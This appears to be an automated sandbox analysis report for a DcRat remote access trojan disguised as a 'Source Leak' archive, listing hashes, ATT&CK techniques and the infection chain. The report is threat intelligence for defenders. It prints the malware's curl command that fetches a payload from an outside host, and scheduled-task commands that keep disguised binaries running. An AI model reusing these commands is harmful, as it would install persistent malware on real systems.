dcrat | b878bfc5791ec1039c16b2e81e465fe511e04619f1952f1b34c4d5a28d3eb60d

Analysis

max time kernel
43s
max time network
42s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
25/01/2025, 18:49

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General

Target

Source Leak.zip
Size

39.6MB
MD5

e64b8344b70fecd613395cdf888698ae
SHA1

543c6c5297febf627a28be183adfb500012bb00a
SHA256

b878bfc5791ec1039c16b2e81e465fe511e04619f1952f1b34c4d5a28d3eb60d
SHA512

3b65d816dbd64aeef3d8627c6b22239adfd21a91bbfa327d76e48057d0a8503cda0bf9dd946ddaab389f5d078f68292970c0447c0dd1c3c9ab0fafad50e7bfff
SSDEEP

786432:Q8f8EgLU6Dc11xD8ZEs69KZZg2pK0BWvcErSde6No8Xpt:Q8EEggPBW8AgeKagcmSrNF

Score

10^/10

dcrat discovery infostealer rat

Malware Config

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat
Dcrat family
dcrat

Process spawned unexpected child process 13 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1636	704	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3188	704	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1236	704	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3760	704	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3492	704	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2332	704	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3364	704	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3896	704	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2204	704	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2776	704	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2592	704	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4928	704	schtasks.exe	86
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4572	704	schtasks.exe	86

Downloads MZ/PE file 1 IoCs

flow	pid	Process
35	2968	curl.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	Source.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	physmeme.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 3 IoCs

pid	Process
4224	Source.exe
4452	physmeme.exe
4128	Winver.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Windows Sidebar\lsass.exe	Winver.exe
File created	C:\Program Files (x86)\Windows Sidebar\6203df4a6bafc7	Winver.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Speech\physmeme.exe	curl.exe
File created	C:\Windows\Boot\Resources\RuntimeBroker.exe	Winver.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	physmeme.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	physmeme.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	7zFM.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	7zFM.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 13 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3896	schtasks.exe
2776	schtasks.exe
4572	schtasks.exe
3188	schtasks.exe
1236	schtasks.exe
3760	schtasks.exe
2332	schtasks.exe
2592	schtasks.exe
4928	schtasks.exe
1636	schtasks.exe
3492	schtasks.exe
3364	schtasks.exe
2204	schtasks.exe

Suspicious behavior: EnumeratesProcesses 53 IoCs

pid	Process
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe
4128	Winver.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3520	7zFM.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeRestorePrivilege	3520	7zFM.exe
Token: 35	3520	7zFM.exe
Token: SeSecurityPrivilege	3520	7zFM.exe
Token: SeDebugPrivilege	4128	Winver.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
3520	7zFM.exe
3520	7zFM.exe
3520	7zFM.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4224	Source.exe
4452	physmeme.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 4224 wrote to memory of 4048	4224	Source.exe	95
PID 4224 wrote to memory of 4048	4224	Source.exe	95
PID 4224 wrote to memory of 2540	4224	Source.exe	96
PID 4224 wrote to memory of 2540	4224	Source.exe	96
PID 4224 wrote to memory of 4640	4224	Source.exe	98
PID 4224 wrote to memory of 4640	4224	Source.exe	98
PID 4640 wrote to memory of 2968	4640	cmd.exe	99
PID 4640 wrote to memory of 2968	4640	cmd.exe	99
PID 4224 wrote to memory of 4452	4224	Source.exe	100
PID 4224 wrote to memory of 4452	4224	Source.exe	100
PID 4224 wrote to memory of 4452	4224	Source.exe	100
PID 4452 wrote to memory of 1432	4452	physmeme.exe	102
PID 4452 wrote to memory of 1432	4452	physmeme.exe	102
PID 4452 wrote to memory of 1432	4452	physmeme.exe	102
PID 1432 wrote to memory of 3524	1432	WScript.exe	103
PID 1432 wrote to memory of 3524	1432	WScript.exe	103
PID 1432 wrote to memory of 3524	1432	WScript.exe	103
PID 3524 wrote to memory of 4128	3524	cmd.exe	105
PID 3524 wrote to memory of 4128	3524	cmd.exe	105

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Source Leak.zip"
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3520

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3292

C:\Users\Admin\Desktop\Source Leak\Release\Source.exe
"C:\Users\Admin\Desktop\Source Leak\Release\Source.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4224
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:4048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:2540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://cdn1337.site/builded.txt --output C:\Windows\Speech\physmeme.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4640
- - C:\Windows\system32\curl.exe
    curl --silent https://cdn1337.site/builded.txt --output C:\Windows\Speech\physmeme.exe
    3⤵
    - Downloads MZ/PE file
    - Drops file in Windows directory
    PID:2968
- C:\Windows\Speech\physmeme.exe
  "C:\Windows\Speech\physmeme.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4452
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\ESD\jZRzGmZ0nmWlIW7eyKvICIC2GnKeW02cdUcmyP.vbe"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1432
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\ESD\EOO029hu24.bat" "
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3524
    - - C:\ESD\Winver.exe
        
        "C:\ESD/Winver.exe"
        5⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4128

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\Users\Admin\Links\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1636

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Users\Admin\Links\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3188

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\Users\Admin\Links\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1236

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 14 /tr "'C:\Users\Admin\OneDrive\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3760

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Users\Admin\OneDrive\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3492

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 12 /tr "'C:\Users\Admin\OneDrive\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2332

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 13 /tr "'C:\ESD\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3364

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\ESD\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3896

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 7 /tr "'C:\ESD\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2204

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Sidebar\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2776

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Sidebar\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2592

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Windows Sidebar\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4928

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 5 /tr "'C:\Users\Admin\Documents\OneNote Notebooks\My Notebook\wininit.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ESD\EOO029hu24.bat

Filesize
61B

MD5
33c54a5f80394595d7f9f5bf2374f68c

SHA1
e515abb832132011a48661843ca2cb85ac7b7296

SHA256
97ec10319ebe1f05ac4f58bf8619aad0e0af8bcb0f11e8f44a73cd80fc125d2d

SHA512
8203808771aac07a702e986204fef3a3c5eb869f4863423b86b8fbb449f5a17700c459e96ec06958bdc17c48825380592aed90a93444e6d30027f3c1002e67bc

Download Submit
C:\ESD\Winver.exe

Filesize
1.8MB

MD5
b5c4fa68d74ab47092a46241d6b10a16

SHA1
e754f10c51933c1ef98782fbf695e8f21198fe7e

SHA256
20e9dafaa42a6b6122ecc150622cf8aabe7a324527df144561de5ba0b486ab2a

SHA512
3ab67cb936cab9eb89bb8275309cbc5f56d7f03e554b5cc7bd54305c282b6e8a0feb4af8c1ebc7073d63c371444751c522b030748b4d57c28a768fd6cfdb5293

Download Submit
C:\ESD\jZRzGmZ0nmWlIW7eyKvICIC2GnKeW02cdUcmyP.vbe

Filesize
202B

MD5
4652fb55e060252dacdca19aee6266b0

SHA1
7711f923873149629b869217eea3b9e7b53a37d2

SHA256
071d6610f34bb0b1e2f6077550a40faf08475865b2863f3340f44f82fc009c74

SHA512
2f73b677f27eb83ec54ecf6c75701e01ae69c8173ea6e081aed443ec19e6f8326de0a4dcb3c808c321f74f1c1916e5a2ecaffed0774fe29ba3889e593bb1515c

Download Submit
C:\Users\Admin\Desktop\Source Leak\Release\Source.exe

Filesize
1.2MB

MD5
6179f45e49ae7257c1fb5859dc119f73

SHA1
14b8a63e92e4d9254a3949f841631b96f5eaa590

SHA256
7dc826deb7225c544091b7a33f6e9093617941d90fba7c5b5057ff97e231270f

SHA512
6f492fa5a1c7ba28c269355f80e316db05186ffd9ed28c72b1ce911cb8f46a10049fcfd09008ee99996194f4d154eb46e8b7af98c31db98a4a3690397a46b519

Download Submit
C:\Windows\Speech\physmeme.exe

Filesize
2.1MB

MD5
1d6941fbe47aa24e563eaad080f6d13a

SHA1
438d9a13439a4bd5939f0dc7d5a8a252e802236a

SHA256
ca3ef84162bcbf7d8ba6fbe39ab1b64ac743291c967005ac739f8e6baee91e32

SHA512
c3949ebd681c06ea0b62790d517ace9ae1531acb5bf9d05a766ac575599a17bdaeda889f599092b61fb34312bcbd5d8cda0193f89a2627af2019b27302b70f7e

Download Submit
memory/4128-287-0x0000000000940000-0x0000000000B12000-memory.dmp

Filesize
1.8MB

Download
memory/4128-289-0x0000000002BF0000-0x0000000002BFE000-memory.dmp

Filesize
56KB

Download
memory/4128-291-0x000000001C500000-0x000000001C51C000-memory.dmp

Filesize
112KB

Download
memory/4128-292-0x000000001C570000-0x000000001C5C0000-memory.dmp

Filesize
320KB

Download
memory/4128-294-0x000000001C520000-0x000000001C538000-memory.dmp

Filesize
96KB

Download